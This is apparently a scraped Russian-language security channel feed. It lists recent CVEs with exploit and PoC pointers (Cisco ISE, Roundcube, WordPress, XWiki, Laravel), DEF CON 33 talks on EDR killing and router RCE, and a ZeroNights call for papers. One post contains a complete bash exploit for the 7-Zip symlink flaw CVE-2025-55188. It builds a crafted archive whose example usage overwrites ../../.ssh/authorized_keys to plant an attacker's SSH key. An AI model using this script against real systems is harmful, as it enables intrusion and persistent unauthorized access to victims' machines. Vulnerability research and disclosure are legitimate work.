CVE-2025-20281
*
Cisco ISE - Remote Code Execution
*

#cisco

Ну не только же WinRAR сцену занимать, да ?
*
7zip

CVE-2025-38236 - Linux Kernel Flaw
*
POC

CVE-2025-55188
7z-exploit
Symlink Arbitrary File
7-Zip до 25.01.
Уязвимость возникает из-за того, что 7-Zip неправильно обрабатывает сим линки во время извлечения, что позволяет созданному архиву перезаписывать файлы в системе.

#!/bin/bash
if [ "$#" -ne 3 ]; then
    echo "Usage: $0 <payload_file> <target_symlink_path> <output_archive>"
    echo "Example: $0 mykey.pub ../../.ssh/authorized_keys exploit.7z"
    exit 1
fi

PAYLOAD="$1"
TARGET="$2"
OUT="$3"

WORKDIR=$(mktemp -d)
ln -s "$TARGET" "$WORKDIR/symlink"
cp "$PAYLOAD" "$WORKDIR/symlink"

tar --sort=name -cf "$WORKDIR/exploit.tar" -C "$WORKDIR" symlink
7z a "$OUT" "$WORKDIR/exploit.tar" >/dev/null

echo "[*] Exploit archive created: $OUT"
rm -rf "$WORKDIR"

DEF CON 33
*
Начинают подъезжать доклады с дефон33
*
Hacking Hotspots: Pre-Auth Remote Code Execution, Arbitrary SMS & Adjacent Attacks on 5G & 4G LTE Routers

#defcon

Душевно было
раздел - приколы, открывать\закрывать сидишник 😁

Link

CVE-2025-49113 - Roundcube mail server RCE
*
POC

Когда обновил все docker containers, а там все тот же XZ Utils backdoor


#include

DEF CON 33

Продолжаем публикацию материалов с дефкона
*
Killing and Silencing EDR

#defcon

ZeroNights 2025 открывает прием заявок на доклады!
Конференция по информационной безопасности ZeroNights анонсирует Call for Papers!
Ребята всегда собирали на сцене классных спикеров и доклады, которые можно было применять на практике. В этом году конфа снова в деле и у каждого есть возможность выступить на сцене перед самым активным комьюнити: поделиться исследованиями и инсайдами, обменяться опытом и просто отлично провести время.
Набирают доклады Offensive и AppSec/SecOps направленности, за эксклюзивы поощряют материально ;)
Узнать подробности и подать заявку можно на сайте конференции.
Есть что сказать? Не держи в себе ;)

#hackers #conf #zeronights

Laravel RCE Exploitation Toolkit
*
link

WriteUP
*
POC

CVE-2025-3515 - WordPress File Upload RCE

exploit

Wordlists specially for API routes fuzzing

https://wordlists-cdn.assetnote.io/data/automated/

CVE-2025-24893
*
Версии:
XWiki ≥ 5.3-milestone-2 up to < 15.10.11
XWiki ≥ 16.0.0-rc-1 up to < 16.4.1

Exploit

Вот это жирно
Subverting code integrity checks to locally backdoor Signal, 1Password, Slack, and more